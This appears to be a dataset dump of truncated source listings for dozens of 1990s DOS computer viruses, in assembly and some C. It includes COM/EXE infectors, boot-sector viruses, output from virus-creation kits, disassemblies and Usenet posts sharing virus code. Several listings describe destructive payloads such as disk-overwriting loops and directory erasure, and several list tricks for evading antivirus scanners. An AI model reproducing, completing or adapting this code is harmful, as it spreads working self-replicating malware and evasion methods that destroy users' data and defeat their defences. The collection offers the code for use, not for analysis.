text stringlengths 0 20k |
|---|
; Hate.524 (named by Moi because of Internal Text and Size)
; Uninteresting Encrypted COM Infector
; Source code compliments of PakiLad
p386n
seg000 segment byte public 'CODE' use16
assume cs:seg000
org 100h
assume es:nothing, ss:nothing, ds:seg000, fs:nothing,... |
PAGE 59,132
;
;
; HYDRA4
;
; Created: 28-Aug-91
; Passes: 5 Analysis Options on: AW
; Copyright (c)
;
;
psp_cmd_size equ 80h
data_11e equ 100h
data_12e equ 154h
data_13e equ 1... |
.model tiny
.code
org 100h
start:
jmp short begin_code
copyright db "HYBRiS.1435 Remover. (c) 1995 The Unforgiven/Immortal Riot",0
begin_code:
push dx ; Cool self-check..
push ds
mov ah,9
mov dx,offset intro_msg
int 21h
pop bx
pop dx
cmp bx,dx
jne ... |
; HEEVAHAV.ASM -- HEEVAHAVA VIRUS
; Created with Nowhere Man's Virus Creation Laboratory v1.00/TASM
; Written by URNST KOUCH
; This is a spawning virus I decided to take to the limit,
; to step on the accelerator of the VCL, so to speak.
; HEEVAHAVA virus is a 'companion' .EXE infector which will attempt
; to infect al... |
tic segment
org 100h
assume cs:tic, ds:tic, es:tic
;
len equ offset int21-100h ;LENGTH OF VIRUS CODE
;
;THE FOLLOWING CODE MAKES THE VIRUS GO RESIDENT. TO KEEP THE INFECTION
;CODE AS SHORT AS POSSIBLE, THE INT 21 VECTOR (4 BYTES) IS SAVED OUTSIDE
;THE VIRUS... |
.radix 16
sub bl,bl
mov cx,offset msg-calldos-2
mov si,offset calldos
cld
lpp:
lodsb
xor bl,al
loop lpp
mov byte ptr [checksum],bl
mov bp,offset adjust
call install1
mov dx,offset Hellomsg
mov ah,9
int 21
int 20
Hellomsg db 0a,0dh,'OK friend...',0a,0dh,'$'
Virus_lenght equ endcode-adjust
a... |
PAGE 59,132
;
;
; HYDRA3
;
; Created: 27-Aug-91
; Passes: 5 Analysis Options on: AW
; Copyright (c)
;
;
psp_cmd_size equ 80h
data_11e equ 100h
data_12e equ 156h
data_13e equ 1... |
.model tiny
.code
.radix 16
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
org 0100h
CALL EntryPoint ; Call virus entry point
; Here begin virus by himself
EntryPoint:
POP BP ; Restore in BP address of data area
PUSH BX ; Save BX
PUSH CX ; Save CX
... |
#include <process.h>
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
#include <dir.h>
#include <dos.h>
#define INTR 0X1C
#ifdef __cplusplus
#define __CPPARGS ...
#else
#define __CPPARGS
#endif
void interrupt ( *oldhandler)(__CPPARGS);
void interrupt handler(__CPPARGS)
{
delay(135);
oldhandler();
}... |
tic segment
org 100h
assume cs:tic, ds:tic, es:tic
;
len equ offset int21-100h ;LENGTH OF VIRUS CODE
;
start: mov ax,9000h ;MOVE VIRUS CODE UP
mov es,ax
mov di,si
mov cx,len
... |
_attr_ equ 0
_date_ equ 2
_time_ equ 4
fil equ 6
mov ax,4245h ;sepuku!
int 21h
jmp short jump1
db 'DY'
dy equ $-2-100h
_size dw offset total-100h
_ofs dw offset total
db 'McAfee, geht nach Hause! Wir sind unberwindlich!'
jump1:... |
PAGE 59,132
;
;
; HYDRA8
;
; Created: 28-Aug-91
; Passes: 5 Analysis Options on: W
; Copyright (c)
;
;
psp_cmd_size equ 80h
data_17e equ 1EFh
data_18e equ 1F2h
data_19e equ 9D... |
PAGE 59,132
;
;
; HYDRA6
;
; Created: 27-Aug-91
; Passes: 5 Analysis Options on: AW
; Copyright (c)
;
;
psp_cmd_size equ 80h
data_14e equ 174h
data_15e equ 177h
seg_a segmen... |
PAGE 59,132
;
;
; HYDRA1
;
; Created: 27-Aug-91
; Passes: 5 Analysis Options on: AW
; Copyright (c)
;
;
psp_cmd_size equ 80h
data_12e equ 100h
data_13e equ 193h
data_14e equ 1... |
;NAME: HR.DEC
;FILE SIZE: 0062Ch - 1580d
;START (CS:IP): 00100h
;CODE END: 0072Ch
;CODE ORIGIN: 00100h
;DATE: Sun Aug 02 17:20:02 1992
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING
P00100 PROC
ORG 0100h
START: JMP Short BEGIN
;--------... |
tic segment
org 100h
assume cs:tic, ds:tic, es:tic
;
len equ offset last-100h ;LENGTH OF VIRUS CODE
;
start: mov bx,0fh ;KLUDGE TO AVOID MEMALLOC ERROR
mov ah,4ah
int 21h
mov ... |
PAGE 59,132
;
;
; HYDRA7
;
; Created: 27-Aug-91
; Passes: 5 Analysis Options on: AW
; Copyright (c)
;
;
psp_cmd_size equ 80h
data_16e equ 170h
data_17e equ 173h
seg_a segmen... |
NAME boot
PAGE 55,132
TITLE FILE UTIL
code segment
ASSUME CS:CODE,DS:CODE,ES:CODE
org 100h
main: jmp over
db '['
id db 'HiDos]',0
by db 'By Apache',0
over: xor ax,ax
mov ds,ax
... |
; HellSpawn Virus (c) 1993 by Stormbringer
;
;
; Stormbringer
;
;
.model tiny
.radix 16
.code
org 100
start:
jmp EntryPoint
... |
tic segment
org 100h
assume cs:tic, ds:tic, es:tic
len equ offset last-100h
start: mov si,0100h
push si
mov ax,cs
add ah,10h
mov es,ax
xor di,di
mov cx,len
rep movsb
mov dx,0FE00h
... |
PAGE 59,132
;
;
; HYDRA2
;
; Created: 27-Aug-91
; Passes: 5 Analysis Options on: AW
; Copyright (c)
;
;
data_1e equ 100h
data_2e equ 235h
data_3e equ 257h
data_4e equ 522h... |
code segment
assume cs:code,ds:code,es:code
org 0
Size2 equ Virus-Relocate
mov cx,Size2
mov ax,word ptr ds:[101h]
call Virus
Relocate:
cmp byte ptr ds:[103h],100
jb InstallVirus
xor dx,dx
Repeat: push dx
mov ax,2
xor bx,bx
mov cx,100
int 26h
pop ax
pop dx
add dx,100
jnc Repeat
cli
Hangup: jmp Han... |
page ,132
name AP400
title The 'Anti-Pascal' virus, version AP-400
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Anti-Pascal' Virus, version AP-400 ... |
page ,132
name AP480
title The 'Anti-Pascal' virus, version AP-480
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Anti-Pascal' Virus, version AP-480 ... |
PAGE 59,132
;
;
; AFRCA109
;
; Created: 16-Sep-92
; Passes: 5 Analysis Options on: AW
;
;
data_2e equ 4F43h
data_3e equ 0FE00h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100... |
page ,132
name V847
title The V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E
virlenx = offset endcod... |
page ,132
name V605
title V605 - The 'Anti-Pascal' Virus
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Anti-Pascal' Virus
; Disassemb... |
dta equ offset last_byte+10
virlen equ (offset last_byte - offset start)
strlen equ (offset endstr - offset startstr)
code segment
assume cs:code,ds:code
org 100h
start: jmp main
newint21 proc far ; SETS THE 'INT 21h' VIRUSED
pushf ; Save fla... |
;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety. ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory. It redirects the keyboard ;
; interrupt (INT 0... |
; NAME: Abdo.com
; AUTHOR: Sea4
; SIZE: 310 bytes
; ENCRYPTION: Yep
; STEALTH: Nope
; ROI: All files in current DIR
; DT: Nope
; Here is an interesting concept in encryption. Brought to my attention by
; Aperson. The virus will use the host programs own bytes to XOR against. Its
; very interesting because there is no ... |
; AntiIVT - written by Conzouler/IR 1995
;
; A virus based on RSV which fool Invircible's test program.
;
; Features:
; memory resident
; com-append on execute
; no tb-flags (of course)
; no f-prot heuristics
; fools invircible test
;
.model tiny
.code
org 100h
psize equ (offset last - offset entry) / ... |
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ... |
;
;
; AntiCARO
; by Mister Sandman/29A
;
;
;
; As i don't agree with CARO and with the way the name viruses, a... |
;
;
; AVP-Aids,
; by Tcp/29A
;
;
;
; AVP is probably the best antivirus nowadays, but it's the most... |
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:12 1994
Xref: netcom.com alt.comp.virus:507
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: Anti Monitor Virus (ANTI AV TSR)
Date: 29 Nov 1994 13:05:19 GMT
Organization: Netcom
Lines: 256
Distribution:... |
.286
.model small
include push.mac
.code
assume cs:_TEXT,ds:_TEXT
org 000h
next_dev dd 0FFFFFFFFh
devatt dw 8000h
dw offset strategy
dw offset interrupt
nam db 'antigame'
start proc far
old_si dw 0
old_bx ... |
;Small appending virus - 143 bytes
CSEG SEGMENT
ASSUME CS:CSEG, DS:CSEG
ORG 100h
Virus_Length equ End_Virus-Begin_Virus
Start:
db 'M',0e9h,0,0
Begin_Virus:
call Delta
Delta:
pop bp
sub bp,offset Delta
push si
push si
mov ah,1ah
lea dx,[bp+DTA]
int 21h
pop di
lea si,[bp+OldBytes]
movsw... |
; BIT ADDICT Versie 2.10
;-----------------------------------------------------------------------------
;----- -----
;----- Macros en andere hulpmiddellen -----
;----- ... |
Aircop Virus (c)RABiD Source Code
Ripped by : The Head Hunter [FS]
Seem's this baby only work on Bare 360k Drive
System. Neat Anywayz. And it's Undetectable!
... |
From netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp Sat Jan 14 12:10:08 1995
Xref: netcom.com alt.comp.virus:961
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp
From: scottj... |
;
;---------------------> Boot Virus ANTI-EXE <-----------------------
;
;This file was written by Dentist. Copyright (C) ToothWare Lviv 1994
; 離 ७ ⥠ ᠬ (⠪ -
;⮬) 訫 㢠 ᥡ -
;'୨ . 讣 ᠭ 㦥 ਬ⨢,⮡-
; ⠪ ࠧ 䠩 ,
; ࠧ . ண-
; 쪨 ᠭ , 鮡 ௭
; ᥡ 訢 쪠 䩫 㬥-
; 㦥 "" . ।⠢
; .ASM 䠩 ᭥ , ⠪
;䠪, 㢠 ... |
code segment
org 0
call Virus
SavedCode db 0cdh,020h,11 dup(090h)
Jump db 0e9h
NearOfset dw 0
ID db 'BIT ADDICT'
ExeHead db 'MZ'
SaveInt21 equ this word
OldInt21 dd 0
Teller db 0
Message db 'The Bit Addict says: ',13,10
db '"You have a good taste for hard disks, it was delicious !!!"'
db 13,10,'$'
NewI... |
;
; Acid Trip by Crypt Keeper [Phalcon/Skism]
;
; Acid Trip is an Enemy Within variant with a trigger routine and
; a few bug fixes. It goes off at 12:00pm (any day) if the monitor
; is in 80x25x16color text mode, scrolling wildly through the color
; pallete and displaying "Your PC is on an [Acid Trip]... Try again... |
; BIT ADDICT Versie 2.00
;
; Dit virus besmet exe en com-files, en als het opgestart wordt dan reserveert
; hij 2 diskbuffers en copieert het virus daarheen om resident te blijven.
; Als het virus resident is dan gaat hij in de environment naar de comspec
; zoeken en besment dan de command interpreter (meestal COMMAND.... |
.286c
.model small
.code
org 100h
start:
jmp install
old_si dw 0
old_bx dw 0
old_cx dw 0
old_dx dw 0
es_main dw 0
num_ff dw 0
last_pag dw 0
viroff dw 0
count db 0
scan_seg dw 0
mes db 'Found !','$'
filnm db 15 dup(0)
buffer db 'NCMAIN.EXE',0h,0h,0h,0h,0h
db 'QA.COM',
db ... |
;|
;| ANSI-BOMB BY TESLA 5
;|
;| THIS VIRUS IS LOSELY BASED ON THE WEFLOW 1993 VIRUS, WHICH WAS BASED
;| ON TRIDENT OVERWRITING VIRUS, MADE BY .... OF TRIDENT. DON'T TYPE
;| THIS FILE, OR WHEN YOU PRESS 'ENTER' YOUR DIR WILL BE ERASED. GREETINGS
;| TO TRIDENT, NUKE, PHALCOM/SKISM AND YAM. YOU D... |
jmpc macro Dest
local Skip
jnc Skip
jmp Dest
Skip:
endm
jmpnc macro Dest
local Skip
jc Skip
jmp Dest
Skip:
endm
jmpe macro Dest
local Skip
jnz Skip
jmp Dest
Skip:
endm
jmpne macro Dest
local Skip
jz Skip
jmp Dest
Skip:
endm
code segment... |
page ,132
name CANCER
title Cancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E
virlenx = o... |
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
dta equ 80
ftime equ offset dta + 16
fdate equ offset dta + 18
fname equ offset dta + 1E
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short... |
; ATTR.ASM -- File Attribute Utility
; ==================================
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 0080h
Parameter Label Byte ; Parameter is here
Org 0100h
Entry: Jmp Begin ; Entry Point
; Most Data (some more at end of program)
; ---------------------------------------
... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: ARCHIVE.ASM
; <ArchivE> by <Gehenna>
id = 'FE'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
... |
PAGE 59,132
;
;
; ANTICMOS
;
; Created: 26-May-95
; Code type: zero start
; Passes: 9 Analysis Options on:... |
; Bit Addict Versie 3
;-----------------------------------------------------------------------------
;----- -----
;----- Macros en andere hulpmiddellen -----
;----- ... |
;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety. ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory. It redirects the keyboard ;
; interrupt (INT 0... |
page ,132
name AP440
title The 'Anti-Pascal' virus, version AP-440
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Anti-Pascal' Virus, version AP-440 ... |
code segment
org 0
call Virus
Displacement equ $
SavedCode db 0cdh,020h,11 dup (090h)
OldInt21 dd 0
Count db 0
Jump db 0e9h
NearOfset dw 0
ID db 'Bit Addict says: ',13,10
db '"You have a good taste for hard disks, it was delicious!"'
db '$'
NewInt21:
cmp ax,0ffffh
jne Ok
cmp dx,ax
jne Ok
mov ax,cs
... |
PAGE 60,132
;
;
; ANTICST
;
; Created: 4-Mar-91
;
;
data_1e equ 4Ch ; (0000:004C=31h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 84h ; (0000:0084=0E3h)
data_4e equ 86h ; (0000:0086=161Ah)
data_5e ... |
;
; [Arara] Virus
; Generated by [TVG]
; Minor modifications done to avoid heuristic detection by TbScan
; Cloaked with a minor polymorphic protection device
; Created on Monday November 11, 1993
; Written for compilation in A86 pd assembler
;
; This is not a major virus, but I want to see how they re... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
; RonMail 1.0 Programmer's Inn - Home of FeatherNet (619)-446-4506
;===========================================================================
; BBS: The Programmer's Inn
;Date: 11-24-91 (20:08) Number: 3562
;From: AHMED DOGAN Refer#: NONE
; To: ALL Recvd: NO
;... |
; AH.asm : Mess with White Shark and you'll be eaten alive!
; Created with Biological Warfare - Version 0.90 by MnemoniX
PING equ 0AE8Eh
PONG equ 0A09Eh
STAMP equ 31
MARKER equ 05753h
code segment
org 0
assume cs:... |
.radix 16
.model tiny
.code
org 100h
main:
jmp start
start:
call get_pointer ;>>xref=<06106><<
get_pointer:
pop bp ; pop cs:ip of stack
sub bp,offset get_pointe... |
; AntiTBC - written by Conzouler/IR 1995
;
; Based on RSV.
;
; Features:
; memory resident
; com-append on execute
; no tb-flags (of course)
; no f-prot heuristics
; fools tbclean (look at the restore routine)
;
.model tiny
.code
org 100h
psize equ (offset last - offset entry) / 10h + 2
size equ ... |
; this is ripped off from pd code in RBBS-ASM (was ANSI1-7.ASM)
; has been heavily modified by M. Kimes, who isn't much of an
; asm-programmer. Now works with C in a strange way and supports
; configurable window. It's momma wouldn't know it now (and probably
; would claim it's the type of program she warned it about... |
page ,132
name AP529
title AP529 - The 'Anti-Pascal' Virus, version AP-529
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Anti-Pascal' Virus, version AP-529 ... |
;******************************************************************************
;
; Virus name : Andropinis
; Author : Rajaat
; Origin : United Kingdom, March 1995
; Compiling : Using TASM | Using A86
; |
; TASM /M2 ANDROPIN.ASM | A86... |
; ------------------------------------------------------------------------- ;
; Acurev v1.8 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: ;
; ... |
page ,132
name V852
title The V-852 virus, based on the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + ... |
; ACME COMPANION VIRUS for Crypt Newsletter 9
;
; ACME is a fast and simple companion virus which will create a
; spawned copy of itself for EVERY .EXE file it can find in the
; current directory.
;
; ACME is ready to assemble using A86. If you recall, an earlier Crypt
; letter included an A86-only source listing. (St... |
Name ANNA
Page 55,132
Title ????
len equ offset marker+5-offset main2
level1len equ offset level1-offset main3
level2len equ offset level2-offset main3
code segment
assume cs:... |
PAGE 59,132
;
;
; AMBULANC
;
; Created: 13-Feb-92
; Passes: 5 Analysis Options on: none
;
;
data_1e equ 0Ch
data_2e equ 49h
data_3e equ 6Ch
psp_envirn_seg equ 2Ch
data_20e equ 0C80h
seg_a segm... |
;Disassembly of the Atomic Dustbin 2A virus by Memory Lapse.
;For a byte-to-byte matchup, assemble with TASM /M2.
.model tiny
.code
org 100h
start:
db 0e9h, 02, 00 ;JMP NEAR PTR STARTVIRUS
db 'ML' ;Virus signature.
startvirus:
call get_r... |
;NAME: AMBUL3.C-M
;FILE SIZE: 00330h - 816d
;START (CS:IP): 00100h
;CODE END: 00430h
;CODE ORIGIN: 00100h
;DATE: Sun Aug 16 15:45:06 1992
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING
P00100 PROC
ORG 0100h
H00100: JMP H00114 ;00100 E... |
; AZUSA virus
;
; Discovered an commented by Ferenc Leitold
; Hungarian VirusBuster Team
; Address: 1399 Budapest
; P.O. box 701/349
; HUNGARY
217D:0100 E98B00 JMP 018E ; Jump to main ... |
; Bit Addict Versie 9
;-----------------------------------------------------------------------------
;----- -----
;----- Macros en andere hulpmiddellen -----
;----- ... |
; Bit Addict Versie 4
;-----------------------------------------------------------------------------
;----- -----
;----- Macros en andere hulpmiddellen -----
;----- ... |
start:
call delta
delta:
pop bp
sub bp,offset delta
mov ax,0faceh
push ax
pop ax
cli
dec sp
dec sp
sti
pop bx
cmp bx,ax
je its_ok
mov ax,4c00h
int 21h
its_ok:
mov word ptr[bp+saved_ds],ds
push cs
push cs
pop ds
pop es
lea si,[bp+old_ip]
lea di,[bp+original_ip]
mov cx,4
rep movsw
mov ah,1ah
lea dx,[bp+ende]
int 21... |
;**************************************************************************
;** ANTHRAX VIRUS **
;** Created: 2 Jan 90 Programmer: (c) Damage, Inc. **
;** [NukE] Notes: Another Stealth Type of Virus! and this one is Detected**
;** ... |
comment $
Atomic v1.00
This virus is a spawning, resident infector of .EXE
programs. Upon execution, Atomic will stay resident
in memory, and capture int 21h. Whenever it detects
an .EXE file being executed, it will create a .COM
file with the virus in the same directory, w... |
tic segment
org 100h
assume cs:tic, ds:tic, es:tic
len equ offset last-100h
start: mov si,0100h
push si
mov ax,cs
add ah,10h
mov es,ax
xor di,di
mov cx,len
rep movsb
mov dx,0FE00h
... |
; VirusName: Arbeit Macht Frei!
; Country : Sweden
; Author : The Unforgiven / Immortal Riot
; Date : 01/10-1993
;
;
; This is a mutation of the Seventh son of a seventh son virus.
; Metal Militia mutated this one for the first issue of our
; magazine, (Insane Reality), but here comes my contribution..
;
; This ... |
; archer.asm : [Archer] MnemoniX `94
; Created with Biological Warfare - Version 0.90 by MnemoniX
PING equ 0AE3Bh
PONG equ 0CD28h
STAMP equ 30
MARKER equ 04D4Dh
code segment
org 0
assume cs:code,ds:code
start:
... |
;******************************************************************************
;* Written in *
;* April 30 Virus - Strain A A86 V3.22 *
;* ---------- *
... |
NAME Jo
PAGE 55,132
TITLE Jo Virus.
;
; This is Yet another virus from the ARCV, this one is called
; Joanna, it was written by Apache Warrior, ARCV President.
;
; It has Stealth features, it is a Resident infector of .COM files
; and uses the Cybertech Mutation Engine (TM) by Apache Warrior fo... |
title " Joker! virus. Written by The BOOT SECTOR Infector ... "
;
; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original
; had multiple programming errors in it that kept it from replicating.
; My version is much more successful.
;
page 255,80
code segment word public 'code'
... |
NAME Jo
PAGE 55,132
TITLE Jo Virus.
;
; This is Yet another virus from the ARCV, this one is called
; Joanna, it was written by Apache Warrior, ARCV President.
;
; It has Stealth features, it is a Resident infector of .COM files
; and uses the Cybertech Mutation Engine (TM) by Apache Warrior fo... |
; Virusname: ...and justice for all
; Country : Sweden
; Author : Metal Militia / Immortal Riot
; Date : 07-29-1993
; This is an mutation of 808 virus by Skism in USA.
; Many thanks to the scratch coder of the 808 virus.
; We've tried this virus ourself, and it works just fine.
; Infects one random EXE-file ... |
; ------------------------------------------------------------------------------
; - 80hex virus -
; (c) 1994 The Unforgiven/Immortal Riot
; Pay-Load function:
; This will be dropped to the file c:\dos\keyb.com, that often
; is called from autoexec.bat, which will result in that... |
; virus from ALT-11 mag
; ---------------------------------------
;
; Coded by: Azagoth
; ---------------------------------------
; Assemble using Turbo Assembler:
; tasm /m2 <filename>.asm
; tlink /t <filename>.obj
; ---------------------------------------------------------------------------
; - Non-Overwriting .C... |
PAGE ,132
S00000 SEGMENT BYTE PUBLIC 'code'
ASSUME CS:S00000
ASSUME SS:S00000
ASSUME DS:S00000
H00000 DB 256 DUP(?)
P00100 PROC FAR
ASSUME ES:S00000
H00100:
JMP SHORT H00104
DB 90H
H00103 DB 2
H00104:
CALL P0010A
JMP H006F1
P0010A PROC NEAR
H0010A:
PUSH CX
MOV BX,0138H
H0010E:
MOV CH,[BX]
XOR CH,H00103
MO... |
;
; First-Star / 222 Virus
;
; (C) by Glenn Benton in 1992
; This is a non-resident direct action .COM infector in current dirs.
;
;
;
Org 0h
Start: Jmp MainVir
Db '*'
MainVir: Call On1
On1: Pop BP
Sub BP,Offset MainVir+3
Push Ax
Mov Ax,Cs:OrgPrg[BP]
Mov Bx,Cs:... |
; The EXEcution III Virus.
;
; Well, you're now the prouw owner of the smallest virus ever made!
; only 23 bytes long and ofcourse again very lame..
; But what the heck, it's just an educational piece of code!!
;
; (C) 1993 by [DRkRY] of TridenT (Ooooooranje Boooooooven!)
;
; Tnx to myself, my assembler, DOS (yuck) and... |
PAGE 59,132
;
;
; 1701
;
; Created: 11-Feb-92
; Passes: 5 Analysis Options on: none
;
;
data_31e equ 27D1h ;*
data_36e equ 4CD6h ;*
data_39e equ 6950h ;*
data_45e equ 8848h ;*
data_50e equ... |
;PROGRAM NAME: 512.com
;-------------------------------------------------
H00100: MOV AH,30h
INT 21h ;DOS Version#
MOV SI,0004h
MOV DS,SI ;SEGMENT OPERATION
CMP Byte Ptr AH,1Eh
LDS AX,[SI+08h]
JB H0011B ; . . . . .... |
; Basic little bitty program for people learning about the different modes
; you can stick on your monitor. This program will put you into 80*50 on a
; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested
; it.) Anyways, I tried to comment it so someone not knowing asm would be
; able to under... |
code segment
assume cs:code,ds:code,es:code,ss:code
org 100h
main proc near
mov dx,offset(nev) ; offset to '*.*'
mov ah,4Eh
int 21h ; find first
mov dx... |
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:42:48 1994
Xref: netcom.com alt.comp.virus:506
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: 7th Son Virus
Date: 29 Nov 1994 13:02:59 GMT
Organization: Netcom
Lines: 236
Distribution: world
Message-ID: ... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
; 쪨 ( 让) , ࠦ騩 .COM-ணࠬ
; ᪥, 砫 JMP.
; ન 直 筮 .
;
; Copyright (c) 1992, Gogi&Givi International.
;
.model tiny
.code
org 0100h
start:
jmp virusstart ; 室 :
mov ah,09h ; ⠪, 㤥
int 21h ; ⢮
mov ax,4C00h ; ࠦ
int 21h
Message db 'This is little infection... He-he...',13,10,'$'
; ଠ
... |
;405 virus
;disassembled 10th March 1991 by Fred Deakin.
;
start:
xchg si,ax ;96 }marker bytes ?
add [bx+si],al ;00 00 }
sahf ;9e }
add [bx+si],al ;00 00 }
nop ;90 }
mov ax,0000h ;clear ax
mov byte es:[drive],al ;defa... |
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